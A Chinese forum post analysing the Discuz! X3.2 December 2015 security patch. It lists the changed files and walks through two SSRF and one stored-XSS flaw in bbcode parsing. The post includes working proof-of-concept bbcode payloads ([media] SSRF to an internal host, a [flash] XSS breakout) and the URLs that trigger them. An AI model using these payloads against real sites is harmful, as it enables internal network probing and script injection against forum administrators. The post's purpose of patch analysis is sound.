其他 Discuz x3.2(20151208补丁)分析修复SSRF&XSS安全漏洞

[复制链接]
ARCHY明星会员实名认证 发表于 2015-12-19 17:15:42 [其他] 显示全部楼层 |阅读模式 上一主题 下一主题

马上注册,一起探讨正确快速的建站方法

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
discuz x3.2(20151208补丁)以及20150609-20151208版本的更新补丁在Discuz! X3.2 正式版 2015-12-08安全补丁更新已经给大家发布过了,今天主要说下分析下discuz补丁20151208相对20150609都改了啥:

  1. source/admincp/admincp_checktools.php     IM图片库命令执行(需登录后台)
  2. *source/class/helper/helper_form.php       http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制referer)
  3. *source/function/function_discuzcode.php    http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
  4. *source/function/function_followcode.php    http://www.wooyun.org/bugs/wooyun-2015-0150674 SSRF和xss
  5. *source/module/forum/forum_viewthread.php    http://www.wooyun.org/bugs/wooyun-2015-0151687 帖子正文XSS
  6. *source/module/misc/misc_swfupload.php     http://www.wooyun.org/bugs/wooyun-2015-0124807 Discuz CSRF发帖POC可蠕虫 (限制非图片文件上传)
  7. *static/js/bbcode.js                       http://www.wooyun.org/bugs/wooyun-2015-0139851 最新版Discuz修复不全导致仍可针对管理员存储XSS
  8. *template/default/member/getpasswd.htm     未知
  9. *source/function/function_cloudaddons.php  未知,插件相关
  10. *source/function/function_core.php         功能性bug?
  11. *source/admincp/admincp_cloudaddons.php    未知,插件相关
复制代码


以下选用其中的SSRF和有限制的XSS作分析(来源:ModNar@0keeTeam 作者:0keeTeam):

1、bbcode有条件SSRF

补丁都加了个严格匹配开头的正则符^,看起来是正则校验url不严格的问题:
source unction unction_discuzcode.php:
t0122f85328889cccac.png
科学地使用skywolf,轻松定位到背锅的代码位置:
t0103ee4456f7859fc1.png
第4个调用点点开看看:
t01485d194437499ab7.png
由以上调用栈可知触发条件是看帖。
Poc:
根据preg_replace的正则和parseflv的正则,我们可以构造如下的payload, 即可通过正则校验使[media]包裹的内容到达file_get_contents调用处:
  1. [media=x,,]http://ip:port/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media]
复制代码


2、bbcode有限制存储XSS

这个文件还修复了一处类似限制条件的存储XSS:
t018d7abf375c552b31.png
此处是组合的HTML标签,可控点$url处于js中,可用单引号闭合:
t016e90e14dc73cf1be.png
调用点也是preg_replace的bbcode解析处:
t015d428a8a46c35455.png
Poc:
因此构造以下payload即可触发XSS:
  1. [flash]http://www.baidu.com/1.swf?a='));alert(2);//[/flash]
复制代码

利用限制:
很显然,这次又是bbcode解析的锅,这里用到了preg_replace的/e选项,所以需要php<5.5的支持。$allowmediacode需要为true,通过查看后台相应选项,版块允许使用多媒体代码默认是开的,然而默认只有管理员组才允许发media标签的bbcode。
t01e666a738d809cbf7.png
利用演示:
假设内网一处http://10.0.2.15/phpinfo.php源码如下:
t019cfd49c5620cef00.png
发帖:
t01070f5b0cc56214c6.png
查看帖子
  1. http://127.0.0.1/discuz/forum.php?mod=viewthread&tid=12&extra=page=1:
复制代码

t0179be871221a7b8e3.png

3、无限制SSRF

之前分析的漏洞触发点要求发帖人允许使用多媒体代码,实际上存在无限制的点:
source unction unction_followcode.php:
diff这个文件,亮点不在标红代码处,而是在fparsemedia中调用了之前的parseflv!
t01d9f6aad2119af72e.png
往上看fparsemedia的调用点:
在function followcode()中,也有类似之前source unction unction_discuzcode.php的bbcode解析,可见此处是没有$allowmediacode条件限制的:
t0121c6e4feeccb43cc.png
sourcemodule orum orum_ajax.php:
t01ebd18df302ecc6f9.png
跟到前台的触发点可构造:
  1. http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36
复制代码

调用栈如下:
t0155c6ca6f7bb4ea43.png
因此无限制的利用过程为:
使用任意用户发帖,然后回复该帖子,回复内容同样为:
  1. [media=x,,]http://10.0.2.15/phpinfo.php?cmd=calc.exe&xx=http://www.tudou.com/programs/view/xx.html[/media]
复制代码

t01b53b61a75d852544.png
然后访问以下链接触发SSRF,其中fid和tid分别是帖子的id和回复的id:
  1. http://127.0.0.1/discuz/forum.php?mod=ajax&tid=11&extra=page=1&action=getpostfeed&flag=1&pid=36
复制代码

t0148b3aa1c10e1c340.png





上一篇:解决 “配置中存在重复的域名” 问题
下一篇:Discuz! X3.2 地区选择联动 Bug 修复

大神点评1

bek 发表于 2015-12-21 16:26:23 [其他] 显示全部楼层
我只是路过站帮网打酱油的,顺便支持下

看不懂。只是帮顶顶。额
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

快速回复 返回顶部 返回列表